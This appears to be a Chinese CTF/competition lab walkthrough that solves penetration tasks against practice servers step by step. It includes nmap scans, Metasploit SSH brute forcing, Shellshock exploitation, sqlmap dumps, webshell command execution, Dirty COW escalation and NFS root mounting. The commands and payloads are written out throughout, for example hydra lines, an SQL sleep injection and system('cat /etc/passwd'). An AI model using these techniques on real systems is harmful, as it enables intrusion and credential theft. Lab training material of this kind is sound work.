任务⼀:SSH弱⼝令渗透测试
任务环境说明:
- 服务器场景:Server18-2(关闭链接)
- 服务器场景操作系统:Linux(版本不详)
- 在本地 PC 渗透测试平台 Kali 中使⽤ zenmap ⼯具扫描服务器场景 Linux 所在 ⽹段(例如:172.16.101.0/24) 范围内存活的主机 IP 地址和指定开放的 21、 22、23 端⼝。并将该操作使⽤的命令中必须要添加的字符串作为 FLAG 提交 (忽略 ip 地址);
使⽤
nmap
⼯具对靶机进⾏指定端⼝扫描,由于题⽬说只扫描靶机的
21
,22,
23
端⼝,并且将该
操作必须添加的字符串作为
FLAG
提交,在
nmap
⼯具中,使⽤
–
p
参数指定端⼝扫描。
1
FLAG:
–
p
21
,22,23
1
- 通过本地 PC 中渗透测试平台 Kali 对服务器场景 Linux 进⾏系统服务及版本 扫描渗透测试,并将该操作显示结果中 SSH 服务对应的服务端⼝信息作为 FLAG 提交;
FLAG:
22
/tcp
1
- 在本地 PC 渗透测试平台 Kali 中使⽤ MSF 模块对其爆破,使⽤ search 命令, 并将扫描弱⼝令模块的名称信息作为 FLAG 提交;
1 在kali终端中输⼊msfconsole进⼊到msfconsole⾃动化渗透测试⼯具中,使⽤search命令搜索ssh_login即可, 终将搜索到的模块名作为FLAG值提交即可。
FLAG: auxiliary/scanner/ssh/ssh_login
1
- 在上⼀题的基础上使⽤命令调⽤该模块,并查看需要配置的信息(使⽤ show options 命令),将回显中需要配置的⽬标地址,密码使⽤的猜解字典,线程, 账户配置参数的字段作为 FLAG 提交(之间以英⽂逗号分隔,例 hello,test,..,..);
在
msfconsole
中使⽤
use auxiliary/scanner/ssh/ssh_login
调⽤
ssh
弱⼝令暴
⼒破解模块,之后通过
show options
查看该模块的配置参数即可。找到题⽬所要求配置
的⽬标地址、密码字典、线程、账户配置参数名称即可。
1
FLAG: RHOSTS,PASS_FILE,THREADS,USERNAME
1
- 在 msf 模块中配置⽬标靶机 IP 地址,将配置命令中的前两个单词作为 FLAG 提交;
在
msfconsole
中可以使⽤
<set
参数名
值
>
来设置⼀个参数的值,我们要设置的参数名
为
RHOSTS
因此我们这⾥的命令为
set
RHOSTS
192
.168.122.100
1
FLAG: set RHOSTS
1
- 在 msf 模块中指定密码字典,字典路径为/root/桌⾯/tools/2.txt,⽤户名为 test 爆破 获取密码并将得到的密码作为 FLAG 提交;
题⽬告诉我们⽤户名为
test
,要求我们使⽤
/root/
桌⾯
/tools
⽬录下的
2
.txt
⽂件爆破
test
⽤户的密码,⾸先我们需要设置⽬标地址为靶机
IP
、密码字典为
.txt
2
,线程设置为
30(
具体看实际情况值
,
线程越多,跑的越快
)
,以及将⽤户名参数设置为
test
1
如果想要查看爆破的过程,可以通过设置
VERBOSE
参数为
true
即可
1
全部参数配置完毕后,可以通过
show options
查看该模块现有的参数和值
1
后可以通过
run
命令
或者
exploit
命令运⾏该模块
1
得到⽤户名
test
密码为
aaabc3
,这⾥
msfconsole
⼯具为我们⾃动建⽴了连接会话,其会话
id
为
1
,我们不⽤再次连接,直接使⽤
sessions -1
调⽤即可。
1
FLAG: aaabc3
1
- 使⽤爆破出来的test⽤户名,连接到ssh,将其家⽬录下唯⼀⼀个.bmp⽂件的⽂件名作为FLAG值提交。
FLAG: nauiwrevy
1
任务⼆:Linux 操作系统渗透-1
任务环境说明:
- 服务器场景:Server18-2(关闭链接)
- 服务器场景操作系统:Linux(版本不详)
- 通过本地 PC 中渗透测试平台 Kali 对服务器场景 Linux 进⾏系统服务及版本扫 描渗透测试,并将该操作显示结果中 MySQL 数据库对应的服务版本信息字符串 作为 FLAG 提交;
虽然说这个任务,只需要扫描
3306
端⼝即可,但是为了后续的做题,我们还是需要扫描服务
器所开放的所有端⼝,因此我们使⽤参数
-p-
从
0
扫到
65535
,且本⼩题需要知道
mysql
的
版本号,因此我们还需要加上
-sV
服务版本扫描
1
FLAG: MySQL 5.1.73-log
1
- 通过本地 PC 中渗透测试平台 Kali 对服务器场景 Linux 进⾏渗透测试,将该场景/var/www/html ⽬录中唯⼀⼀个后缀为.html ⽂件的⽂件名称作为 FLAG 提交;
前期通过
nmap
⼯具扫描发现靶机的
80
端⼝和
443
均开放,且
apache
版本为
2.2.15
,那么
有可能存在
CVE-2014-6271
漏洞。
其漏洞条件:
.
80
1
端⼝需要开放其版本为
2.2.15
2. 443
端⼝需要开放其版本为
2.2.15
3
.
⽹站根⽬录需要存在
/cgi-bin/bin
⽂件
我们可以通过
nmap
的脚本
http-shellshock.nse
进⾏扫描,查看是否存在此漏洞:
1
2
3
4
5
6
发现是存在该漏洞的,其中
nmap
的
script
—
参数⽤来指定脚本的名称,
—
script-args
⽤来指定脚本需要的参数,接着我们使⽤漏洞攻击模块进⾏利⽤。
打开
msfconsole
使⽤
search apache_mod
搜索漏洞利⽤模块
1
2
其中
id
为
1
的模块是我们所使⽤的攻击模块,我们可以直接使⽤
use 1
调⽤该模块
1
接着我们使⽤
show options
参数查看该模块需要配置的参数
1
发现模块中的
RHOSTS(
⽬标地址
)
参数
以及
TARGETURI (
⽬标
url)
参数是必须要设置
的值,因此我们这⾥进⾏设置,其中
TARGETURI
要设置的是
/cgi-bin/bin
这个路
径。
接着
exploit
或者
run
命令运⾏该模块即可, 终会反弹⼀个
meterpreter
会话,我们
输⼊
shell
,进⼊到对⽅终端中
1
2
FLAG: loginmanager
1
- 通过本地 PC 中渗透测试平台 Kali 对服务器场景 Linux 进⾏渗透测试,将该场
景/var/www/html ⽬录中唯⼀⼀个后缀为.html ⽂件的⽂件内容作为 FLAG 提交;
使⽤
cat
命令直接查看⽂件即可
1
FLAG: slkrvung
1
- 通过本地 PC 中渗透测试平台 Kali 对服务器场景 Linux 进⾏渗透测试,将该场 景/root ⽬录中唯⼀⼀个后缀为.bmp ⽂件的⽂件名称作为 FLAG 提交;
使⽤
whoami
命令查看获取到的
shell
权限,发现为
apache
普通⽤户的权限,普通⽤户
默认情况下是查看不了
自动化安全任务和提高安全防御能力这个接口来源api大全 搜索相关关键词可以搜索到这个接口,使用这个接口可以更好的帮助网安从业者提高效率等。
/root
⽬录下的内容的,但是本道题⽬设计的初衷是⽆需提
权,
/root
⽬录下所有⼈都能查看。因此我们直接使⽤
ls /root
列出即可
1
FLAG: vmifeo.bmp
1
- 通过本地 PC 中渗透测试平台 Kali 对服务器场景 Linux 进⾏渗透测试,将该场 景/root ⽬录中唯⼀⼀个后缀为.bmp 的图⽚⽂件中的英⽂单词作为 FLAG 提交。
使⽤命令
将
/root/vmifeno.bmp
⽂件
复制到⽹站根⽬录,直接访问即可
1
FLAG: glamorous
1
任务三:数据库安全加固
任务环境说明:
服务器场景:CentOS6.8(开放链接)
⽤户名:root;密码:123456
- 进⼊虚拟机操作系统:CentOS 6.8,登陆数据库(⽤户名:root;密码:root), 查看数据库版本号,将查看数据库版本号的命令作为 flag 提交;
题⽬在任务环境说明⾥⾯给了系统的登录⽤户名和密码,直接登录即可同时也提供了
mysql
数
据库的登录账号和密码。使⽤
mysql -uroot -p
登录即可。
接着执⾏
select version();
查看
mysql
的版本。
1
2
‘
FLAG: select version();
1
- 进⼊虚拟机操作系统:CentOS 6.8,登陆数据库(⽤户名:root;密码:root), 查看数据库版本号,将查询到的数据库版本号作为 flag 提交;
根据上⼀题得到答案
1
FLAG: 5.1.73
1
- 进⼊虚拟机操作系统:CentOS 6.8,登陆数据库(⽤户名:root;密码:root), 查看数据库列表,将查看数据库列表的命令作为 flag 提交;
在
mysql
中使⽤
show databases;
命令查看数据库列表
1
FLAG: show databases;
1
- 进⼊虚拟机操作系统:CentOS 6.8,登陆数据库(⽤户名:root;密码:root), 进⼊ mysql 数据库,查看所有⽤户及权限,找到可以从任意 IP 地址访问的 ⽤户,将该⽤户的
⽤户名作为 flag 提交;(如有多个可以从任意 IP 地址访问的⽤户,提交形式为⽤户名|
⽤户名|⽤户名)
⾸先我们使⽤
use
命令进⼊到
mysql
数据库
,
接着使⽤
select host,user from users
命令查看
mysql
的登录⽤户信息
1
通过以上信息可以得知,
host
值为
%
的时候表示该⽤户可以进⾏远程登录,当
host
值为
localhost
或者
127.0.0.1
的时候表示可以进⾏本地登录,当为其他值的时候
,
表示可以在
该主机名尚进⾏登录。
那么我们可以得知
,
只有
test
⽤户是远程登录⽤户。
1
2
FLAG: test
1
- 进⼊虚拟机操作系统:CentOS 6.8,登陆数据库(⽤户名:root;密码:root), 进⼊ mysql 数据库,查看所有⽤户及权限,找到可以从任意 IP 地址访问的 ⽤户,使⽤ drop 命令将该⽤户删除,将操作命令作为 flag 提交。
在
mysql
中删除库和表以及⽤户的时候都是使⽤
drop
语法,所以这⾥的命令语法为
:
drop
user ‘
⽤户名
‘@’
主机名
‘
1
FLAG: drop user ‘test’@’%’;
1
- 进⼊虚拟机操作系统:CentOS 6.8,登陆数据库(⽤户名:root;密码:root), 进⼊ mysql 数据库,改变默认 mysql 管理员的名称,将系统的默认管理员 root 改为 admin,防⽌被列举,将操作命令作为 flag 提交。
由于
mysql
的登录⽤户名和密码都存放在
mysql
库下的
user
表内,因此我们只需要使⽤
update
更新表的语法来更新即可,注意这⾥题⽬说的是进⼊到
mysql
库内,再执⾏操作。
1
FLAG: update user set user=’admin’ where user=’root’
1
任务四:服务器内部信息获取
任务环境说明:
服务器场景:Linux20210510(关闭链接) ⽤户名:test 密码:123456
- 收集服务器场景中的服务信息。并获取服务器中开放的端⼝号信息,将服务器端⼝号作为 flag 提交(如果有多个端⼝以;分割,如 11;22;33);
这⾥题⽬给了⽤户名
test
以及密码
,
123456
如果靶机开放
22
端⼝我们直接连接即可
,
接下来
我们直接使⽤
nmap
⼯具进⾏端⼝扫描即可。
注意这⾥题⽬说的是开放的端⼝号,指的是所有端⼝,如果我们不指定
–
p
参数则扫描的是
1000
个常⽤服务的端⼝,因此我们这⾥要使⽤
–
p
–
1
2
FLAG: 22,111,6000
1
- 将服务器中 tmp ⽂件夹下的字典下载⾄本地,并将字典中 后⼀位⽤户名作为 flag 提交;
由于题⽬给了⽤户名和密码,并且开放了
SSH
服务,我们这⾥直接连接查看即可。查看
/tmp
⽬
录下的内容
1
发现
/tmp
⽬录下存在
username.txt
和
password.txt
,那么很明显是⼀个⽤户名字典,⼀
个是密码字典,题⽬让我们查看⽤字典中的 后⼀个⽤户名,很明显是查看
username.txt
⽂
件。
1
后⼀个⽤户名实际
FLAG
为
nfyHvb
1
FLAG: nfyHvb
1
注意:这⾥很多童鞋反映靶机启动/tmp⽬录下没有username.txt和password.txt字典,这⾥的原因可能是系统开机会⾃动清空临时⽬录下的内容(/tmp⽬录),这⾥解决的
⽅法是重开靶机⼏次,或⾃⼰⼿动写⼀个字典,模拟⼀下即可。
- 应⽤⼯具获取服务器中⿊客账户(hacker)的密码。并将⿊客的密码作为 flag提交;
题⽬让我们爆破
hacker
⽤户的密码,我们通过查看
/etc/passwd
⽂件的内容,发现的确存在
hacker
⽤户,我们进⾏爆破即可。
1
但是这⾥需要使⽤什么字典呢?很明显肯定是服务器上的
/tmp/password.txt
字典,接
着我们使⽤
scp
命令将该⽂件下载到
kali
当中去。
scp
可以借助服务器开放的
22
端⼝进⾏⽂件共享,可以将⽂件上传到靶机,以及从靶机中下载
⽂件。
SCP
下载语法:
scp
⽤户名
@IP
地址
:
⽂件路径地址
保存到本地的地址
SCP
上传语法:
scp
上传的⽂件路径
⽤户名
@IP
地址
:
上传到的路径
这⾥由于我们是从服务器下载⽂件,因此使⽤下载语法
1
2
3
4
5
6
7
8
接着使⽤
hydra
暴⼒破解⼯具来枚举
hacker
⽤户的密码。
hydra
⼯具的语法:
–
l
指定⽤户名
–
L
指定⽤户名字典
–
p
指定密码
–
P
指定密码字典
–
vv
显示详细的爆破过程
1
2
3
4
5
6
7
–
t
指定线程数
–
s
指定端⼝号
(
不指定为各个服务的默认端⼝
)
C
–
指定所⽤格式为
“user:password”
字典⽂件
hydra
⼯具常⽤于爆破⼀些协议的登录⽤户名和密码,包括但不限于
ssh
、
ftp
、
mysql
、
rdp(3389
远程桌⾯
)
、
telnet
等服务。
example1:
hydra -l root -P password.txt ssh://192.168.122.103
example2:
hydra -l test -P password.txt 192.168.122.103 telnet
8
9
10
11
12
13
14
15
16
FLAG: xhm9NG
1
- 在服务器中查看 sudo 软件的版本,将 sudo 的版本号作为 flag 提交;
使⽤获取到的
hacker
⽤户密码登录到
ssh
或者使⽤
test
⽤户执⾏
sudo –version
都可以查
看。
1
FLAG: 1.8.23
1
- 在服务器中登录恶意⽤户,查看恶意⽤户在服务器中输⼊的第⼀条指令,将指令作为 flag 提交;
1 这⾥我们登录到hacke⽤户执⾏history命令来查看执⾏的第⼀条指令,发现是sudo提权,但是成功提权需要有sudo权限才可以。
使⽤
sudo -l
命令发现
hacker
⽤户并⽆
sudo
权限。
1
这⾥的恶意⽤户指的不是
hacker
⽤户,我们查看
/etc/passwd
⽂件,发现还有⼀个⽤户可以登录
到系统,并且是存在
sudo
权限的。
1
并且该⽤户在
username.txt
字段当中。
1
接下来我们直接使⽤
hydra
⼯具加载
password.txt
,爆破该⽤户名的密码
1
得到
SZAyUx
⽤户的密码为
tmzYvS,
使⽤
ssh
登录到该⽤户
1
FLAG: whoami
1
6. 在服务器中查看⽤户信息,将 后⼀个⽤户的⽤户名作为 flag 提交;
经过测试发现,
SZAyUX
⽤户存在
sudo
权限
1
题⽬让我们查看系统的 后⼀个⽤户名,
/etc/passwd
⽂件是保存所有⽤户信息的,我们查看该
⽂件发现 后⼀个⽤户名为空
1
但是还有⼀个
/etc/shadow
⽂件⽤来存放⽤户名和密码信息的,该⽂件只有
root
⽤户可以读取,
SZAyUX
⽤户有
sudo
权限,我们直接查看⾏。
使⽤命令:
sudo cat /etc/shadow
1
2
FLAG: Stand_by_me
1
任务五:数据库服务渗透测试
任务环境说明:
- 服务器场景:Server03(关闭连接)
- 服务器场景操作系统:未知
1.通过分析靶机 Server03 ⻚⾯信息,寻找漏洞⻚⾯,将 WEB 服务存在 SQL 注⼊漏洞的⻚⾯名称作为 Flag 提交;
题⽬说是
web
服务,那么我们直接访问其
http
即可,点击⾸⻚的点击认识我
1
接着会看到⼀个查询⻚⾯,这⾥是存在
sql
注⼊的。
1
可以使⽤在输⼊框总输⼊测试语法进⾏测试:
iu’ and sleep(5) #
1
成功延时
5
秒,由此得知这个⻚⾯存在
SQL
注⼊。
1
FLAG: index2.php
1
2.通过本地 PC 中的渗透测试平台 Kali 对靶机进⾏ SQL 注⼊攻击,获取靶机的数据库信息,将⽤来存放 WEB 服务的数据库名称作为 Flag 提交;
这⾥在
kali
终端中使⽤
sqlmap
⾃动化渗透测试⼯具进⾏注⼊即可
1
sqlmap -u “http://192.168.122.106/index2.php?
name=1&submit=%E6%9F%A5%E8%AF%A2#contact_scroll” –current-db –batch
其中
-u
参数指定注⼊点地址,
—
current-db
获取当前使⽤的数据库
–batch
表示保持默
认选项
1
2
3
FLAG: webiu
1
3.通过本地 PC 中的渗透测试平台 Kali 对靶机进⾏ SQL 注⼊攻击,获取靶机的数据库信息,将⽤来存放 WEB 服务⽤户的表名称作为 Flag 提交;
我们通过上题可以得知,⽹站使⽤的数据库为
webiu
,接下来我们直接获取当前库下的表即可。
在
kali
中执⾏如下命令:
sqlmap -u “http://192.168.122.106/index2.php?
name=1&submit=%E6%9F%A5%E8%AF%A2#contact_scroll” -D webiu –tables —
batch
其中的
-D
参数⽤来指定库名
–tables
⽤来获取
D
–
参数指定的库下的所有表名
1
2
3
4
5
6
终使⽤的表名为
iuser
1
FLAG: iuser
1
4.通过本地 PC 中的渗透测试平台 Kali 对靶机进⾏ SQL 注⼊攻击,获取靶机的数据库信息,将⽤来存放 WEB 登陆⽤户 admin ⽤户的明⽂密码作为 Flag 提交;
sqlmap -u “http://192.168.122.106/index2.php?
name=1&submit=%E6%9F%A5%E8%AF%A2#contact_scroll” -D webiu -T iuser —
dump –batch
其中的
-T
参数⽤来指定表名
–dump
表示获取表的数据
1
2
3
FLAG: 123321
1
任务六:综合渗透测试
任务环境说明:
- 服务器场景:Server07(关闭连接)
- 服务器场景操作系统:未知
1.通过 PC 中的渗透测试平台 Kali 对服务器场景进⾏渗透测试,将后台管理员登陆的地址作为
Flag提交 ;(IP地址⽤0.0.0.0代替 例如: http://0.0.0.0.0/login.php)
⼀般后台路径通过访问
admin
⽬录或者
login.php
以及
admin.php
都可以访问到,或者通过查看
robots.txt
⽂件,这⾥我们使⽤
dirb
⼯具做⽬录扫描。
1
通过扫描发现⽹站存在
admin.php
,访问之后,发现是登录界⾯。
1
FLAG: http://0.0.0.0/admin.php
1
2.通过 PC 中的渗透测试平台 Kali 对服务器场景进⾏渗透测试,将后台管理员的密码作为
Flag 提交;
⼀般⽐赛的时候⽹站后台都⽆需进⾏爆破,⼀般后台账号都为
admin,
密码为
admin
或者
123456
。
这⾥是⽤户名为
admin
,密码也为
admin
1
FLAG: admin
1
3.通过 PC 中的渗透测试平台 Kali 对服务器场景进⾏渗透测试,获取到相应的权限,使⽤相关命令获取到当前系统⽤户 id 为 69 的⽤户,将该⽤户的⽤户名称作为 Flag 进⾏提交;
在
phpwind9.0
是存在命令执⾏漏洞的,该漏洞需要登录到⽹站后台进⾏利⽤。
漏洞点:
⻔户
->
模块管理
->
调⽤管理
->
添加模块
->
选择⾃定义
html
内容写
webshell
保存即可。
1
2
3
4
保存完写⼊好的
webshell
之后,点击
调⽤代码
1
复制上图红框的内容,利⽤的时候将
formart
的
xml
值删除即可。
1
成功利⽤,接下来使⽤
php
的
system()
函数执⾏系统命令,传⼊如下参数:
cmd=system(‘cat /etc/passwd’);
1
2
可以看到
uid
为
69
的⽤户名为
vcsa
1
FLAG: vcsa
1
4.通过 PC 中的渗透测试平台 Kali 对服务器场景进⾏渗透测试,获取到相应的权限,使⽤ whoami 命令获取当前⽤户,将获取到的⽤户作为 Flag 提交;
传⼊如下参数执⾏
whoami
命令即可
cmd=system(‘whoami’);
1
2
FLAG: apache
1
5.通过 PC 中的渗透测试平台 Kali 对服务器场景进⾏渗透测试,获取到相应的权限,将/var/www ⽬录下的图⽚⽂件内容作为 Flag 提交;
还是利⽤
webshell
执⾏
ls /var/www
查看⽂件名称,然后将其复制到
apache
默认的⽹站根⽬
录
/var/www/html
下即可
cmd=system(‘ls /var/www’);
1
2
3
将该⽂件复制到
/var/www/html
路径下即可,利⽤
webshell
传⼊如下参数和值执⾏命令
cmd=system(‘cp /var/www/askjgnkjsa.bmp /var/www/html/askjgnkjsa.bmp’);
此时直接访问⽹站根⽬录下的
askjgnkjsa.bmp
⽂件即可
1
2
3
4
FLAG: security
1
6.通过 PC 中的渗透测试平台 Kali 对服务器场景进⾏渗透测试,找到靶机内的脏⽜漏洞提权⽂件,将⽂件名作为 Flag 提交;
查看
/etc/passwd
发现存在
admin
⽤户并且可以登录到系统。
1
使⽤
nmap
⼯具进⾏端⼝扫描,发现服务器开放
22
端⼝
1
尝试枚举
admin
⽤户的密码,发现密码为
123456
,在该⽤户的家⽬录发现了脏⽜提权⽂件
1
FLAG: dirty
1
7.提权之后登陆靶机,进⼊靶机的/root ⽬录将 root ⽬录的 flag.txt ⽂件的内容作为 Flag 提交;
这⾥直接
./dirty
执⾏即可,该⽂件提权之后会将
root
⽤户重命名为
firefart
,其密码是我们
执⾏该程序设置的密码。
1
成功获取到
root
权限,接下来直接查看⽂件内容即可。
1
FLAG: c4ca4238a0b923820dcc509a6f75849b
1
任务七:Linux操作系统渗透-2
任务环境说明:
服务器场景:Server2106
服务器场景操作系统:Linux(版本不详)(关闭链接)
1.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏系统服务及版本扫描渗透测试,并将该操作显示结果中21端⼝对应的服务版本信息字符串作为Flag值提交;
⾸先使⽤
nmap
⼯具对靶机进⾏服务版本扫描,发现
21
端⼝的服务版本信息为
vsftpd2.3.4
并且
发现了
bindshell(
后⻔端⼝
)
,但是该端⼝⼀旦被
–
sV
参数扫描,会⽴⻢关闭,需要重启靶机。
我们先按照正常的思路来做这道题。
1
FLAG: vsftpd 2.3.4
1
2.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏渗透测试,将该场景/var/www⽬录中唯⼀⼀个后缀为.bmp⽂件的⽂件名称作为Flag值提交;
nmap
扫描发现靶机开放了
80
端⼝,但是访问之后什么都没有
1
但是靶机开放了
3306
端⼝,并且有远程登录⽤户,
kali
渗透机⾥⾯为我们提供了
2
个字典,分别都
在
/root/
桌⾯
/tools
⽬录下。
1
2
.txt
主要⽤来爆破
Linux
的
21,22,3306
端⼝,也是
ftp
和
ssh
以及
mysql
服务。但是
ftp
和
ssh
爆破的⼀般不是
root
⽤户,⽽是其他⽤户⽐如
test,admin,hacker
等。⽽
mysql
直接爆破
root
⽤户即可。
password.txt
主要⽤来爆破
Windows
的
3389
远程桌⾯服务,⽐如爆破
Administrator
⽤户的
密码,以及
hacker
⽤户的密码。
另外这⾥说下,如果
nmap
的
–
sV
参数扫
3306
端⼝,在服务版本信息中有
unauthorized
值表示
root
⽤户是不可以远程登录的,如果扫描的
mysql
版本信息中没有该字符串,则代表
root
⽤户存
在远程登录。很明显这台靶机
root
⽤户存在远程登录。
我们这⾥尝试使⽤
hydra
⼯具爆破
mysql
的
root
⽤户密码,由于靶机的
mysql
有短时间内的 ⼤错
误连接数,我们可以把字典中的前
50
⾏内容删除掉。
1
2
3
4
5
6
7
得到
mysql
中
root
⽤户的密码为
aababb
,我们这⾥直接进⾏连接即可。
mysql
是可以做到在读取和写⼊到系统⽂件的,只不过在
mysql
层⾯受
secure_file_priv
属性
的限制。
如果
secure_file_priv
属性的值为
:
空
表示可以在任意⽬录下读写
/var/www/html
表示只可以在
/var/www/html
⽬录下读写
NULL (
默认值
)
表示不可读不可写
当然以上只是
mysql
层⾯的,具体有没有权限读写,还需要看系统的⽬录权限。
读的语法
:
select load_file(‘
⽂件路径
‘);
写的语法
:
select ‘
要写⼊的内容
‘ into outfile ”
要写⼊到的⽂件路径
“;
1
2
3
4
5
6
7
8
9
10
11
12
通过以上参数可以得知,我们可以在⽹站根⽬录下读写,我们知道靶机开放了
80
端⼝,并且由
apache
软件搭建,那么
apache
的默认⽹站根⽬录为
/var/www/html
⽬录下,我们是否可以通过
mysql
写⼊
webshell
到⽹站根⽬录呢?
1
写⼊完成,使⽤
win7
渗透机中的中国菜⼑连接即可:
1
连接到
webshell
之后,直接去查看
/var/www
⽬录下唯⼀⼀个
.bmp
的⽂件名
1
FLAG: wuslwczr
1
3.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏渗透测试,将该场景/var/www⽬录中唯⼀⼀个后缀为.bmp的图⽚⽂件中的英⽂单词作为Flag值提交;
连接到
webshell
之后右键下载即可
1
FLAG: gutldhan
1
4.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏渗透测试,将该场景/var/vsftpd⽬录中唯⼀⼀个后缀为.docx⽂件的⽂件名称作为Flag值提交;
右键⽊⻢进⼊到虚拟终端中,可以执⾏命令
1
按要求进⼊到
/var/vsftpd
⽬录下,提示权限呗拒绝,使⽤
ls -ld
命令查看⽬录的权限,发现
只有
reafcn137
⽤户有权限。
1
查看
/etc/passwd
⽂件,发现该⽤户可以登录到系统,并且得到该⽤户的主⽬录
在
/var/vsftpd
⽬录下
1
在
kali
中尝试使⽤
hydra
⼯具加载
.txt
2
字典爆破该⽤户的密码
,
这⾥爆破
ssh
或
ftp
都可以
1
得到密码
aaabba
,这⾥尝试使⽤该⽤户登录到
ftp
。
1
FLAG:bmqfldne
1
5.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏渗透测试,将该场景/var/vsftpd⽬录中唯⼀⼀个后缀为.docx⽂件的⽂件内容作为Flag值提交;
在
ftp
中直接使⽤
get
命令下载即可
1
由于是
word
⽂档,
kali
⽆法打开,⽐赛的时候
kali
都是安装了
VMware Tools
的,可以在宿主机
之间互相复制⽂件,这⾥复制到宿主机查看即可。
1
FLAG: tywajsfk
1
6.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏渗透测试,将该场景/home/guest⽬录中唯⼀⼀个后缀为.pdf⽂件的⽂件名称作为Flag值提交;
这⾥我们得知了
reafcn317
⽤户的密码,我们可以直接
ssh
登录上去,尝试列出
/home/guest
⽬
录下的内容,发现提示权限不够,查看其权限,同样也是只有
drunk915
这个⽤户有权限
1
查看
/etc/passwd
⽂件,发现该⽤户的家⽬录在
/home/guest
,并且该⽤户可以登录到系统。
1
继续尝试使⽤
hydra
⼯具进⾏爆破
1
成功爆破出密码为
aaabb3
,接着使⽤该密码登录上
ftp
上即可
1
FLAG: ureansma
1
7.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏渗透测试,将该场景/home/guest⽬录中唯⼀⼀个后缀为.pdf⽂件的⽂件内容作为Flag值提交;
在
ftp
中使⽤
get
命令直接下载即可
1
FLAG: jtluqwtr
1
8.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏渗透测试,将该场景/root
⽬录中唯⼀⼀个后缀为.txt⽂件的⽂件名称作为Flag值提交;
由于题⽬在 开始开放了⼀个后⻔端⼝,端⼝为
48119
,但是该端⼝⼀旦被连接⼀次或者使⽤
nmap
⼯具的
–
sV
参数扫描⼀次,⽴⻢关闭,因此我们需要重启虚拟机。
重启之后直接使⽤
nc
⼯具进⾏连接即可。
nc
⼯具⽤于发起⼀个
TCP
连接请求,可以连接到指定的端
⼝
1
2
FLAG: radentas
1
9.通过本地PC中渗透测试平台Kali2.0对服务器场景Server2106进⾏渗透测试,将该场景/root
⽬录中唯⼀⼀个后缀为.txt⽂件的⽂件内容作为Flag值提交。
FLAG: erqruet
1
任务⼋:系统漏洞
任务环境说明:
服务器场景名:Web20200529
- 服务器场景操作系统:未知(关闭链接)
- 服务器场景⽤户名:未知
1.通过本地PC中渗透测试平台Kali查看⽬标靶机共享的⽬录及IP地址⽩名单(将IP地址替换为
0.0.0.0),将查看命令作为Flag提交;
使⽤
nmap
⼯具对靶机进⾏端⼝扫描,发现关于共享的服务,只有
NFS
。也是
2049
端⼝所开放的
服务
1
NFS
服务介绍:
NFS
(
Network File System
)即⽹络⽂件系统,它可以实现将服务器的某个路径共享出去,客
户端通过挂载的形式来连接到服务端共享的⽬录。
NFS
服务的认证⽅式,没有⽤户名和密码的认证,只有基于
IP
或者⽹段的认证。
NFS
配置示例:
/var/www *(sync,ro) 192.168.1.14(sync,rw)
“/var/www”
⽬录,对所有主机可读,对
IP
地址为
192.168.1.14
的主机可读可写。
1
2
3
4
5
6
那么客户端怎么知道服务端共享了什么⽬录?或者是哪些
IP
可以访问到呢,可以使⽤
showmount
–
e
服务端
IP
地址
进⾏查看
1
可以发现服务器共享了⾃⼰的根⽬录,并且所有
IP
都可以进⾏挂载
1
FLAG: showmount -e 0.0.0.0
1
2.通过本地PC中渗透测试平台Kali 查看⽬标靶机共享的⽬录及IP地址⽩名单,将查看命令执
⾏结果的共享⽬录作为Flag提交;
FLAG: /
1
3.通过本地PC中渗透测试平台Kali渗透进⼊⽬标靶机,将挂载⽬标靶机⽂件系统到本地/mnt 的命令(将IP地址替换为0.0.0.0)作为Flag提交;
mount
挂载命令帮助:
mount -t
挂载的⽂件格式
挂载的
IP:
路径
挂载到本地的什么地⽅
1
2
FLAG: mount -t nfs 0.0.0.0:/ /mnt
1
4.. 通过本地PC中渗透测试平台Kali计算⽬标靶机磁盘可⽤空间(以M或G为单位)作为Flag提
交;
FLAG: 4.9G
1
5.通过本地PC中渗透测试平台Kali使⽤“flag.txt”作为关键词搜索靶机⽂件系统中该⽂件的位置,并将搜索所需命令作为Flag提交;
由于我们将靶机的根⽬录挂载到
/mnt
⽬录下,因此我们进⼊到
/mnt
⽬录,使⽤
find
命令进⾏搜索
1
FLAG: find /mnt -name flag.txt
1
6.通过本地PC中渗透测试平台Kali下载flag.txt⽂件,将⽂件中的Flag提交;
FLAG: 0001030
1
任务九:web隐藏信息探索-1
任务环境说明:
服务器场景:Web20200529
服务器场景操作系统:未知 (关闭链接)
1.通过本地PC中渗透测试平台Kali对服务器场景Web20200529中的⽹站进⾏访问,找到登录界⾯中的FLAG,并将FLAG提交;
访问
80
端⼝是个登录界⾯,⽆法右键查看源代码,肯定有问题。
在
url
地址栏前⾯加⼊
view-source:
回⻋即可
1
2
在源码中发现隐藏信息
Please
,点击
class.css
,在底部发现
flag
1
FLAG: WELCOME TO CSS !
1
2.通过本地PC中渗透测试平台Kali对服务器场景Web20200529中的⽹站进⾏访问,找到登录界⾯背景中的FLAG,并将FLAG提交;
查看
css
样式⽂件,发现背景图⽚在
picture
⽬录下,名字叫
bgf.jpg
1
我们直接使⽤
wget
命令下载该图⽚即可
1
接着使⽤
xxd
命令查看图⽚的字符内容,在底部发现
flag
1
FLAG: Picturemerge
1
3.通过本地PC中渗透测试平台Kali对服务器场景Web20200529中的⽹站进⾏访问,在登录界
⾯中登录,登录成功后在成功的界⾯中找到FLAG并提交;
这⾥的输⼊框是⽆法输⼊的,我们按住
F12
,调出控制台,将两个
input
表单的
maxlength
值修改
为⼀个较⼤的数字,然后在⽤户名和密码输⼊框内输⼊值
1
这⾥使⽤
burpsuite
抓取登录的数据包,然后在
username
处标记
*
,表示注⼊点在此处,接着右
键点击
copy to file
将请求内容保存到⼀个⽂件当中去。
1
接着使⽤
sqlmap
进⾏⾃动化
sql
注⼊
sqlmap -r 1.txt –current-db –batch
其中的
-r
表示从保存的
1
.txt
⽂件中注⼊
1
2
3
4
接着获取该库下有哪些表
sqlmap -r 1.txt -D hello –tables –batch
1
2
发现只有⼀个
user
表,接着直接获取该表的数据
sqlmap -r 1.txt -D hello -T user –dump –batch
1
2
3
获取到账号为
123
,密码为
114514
,使⽤该账号登录即可。
1
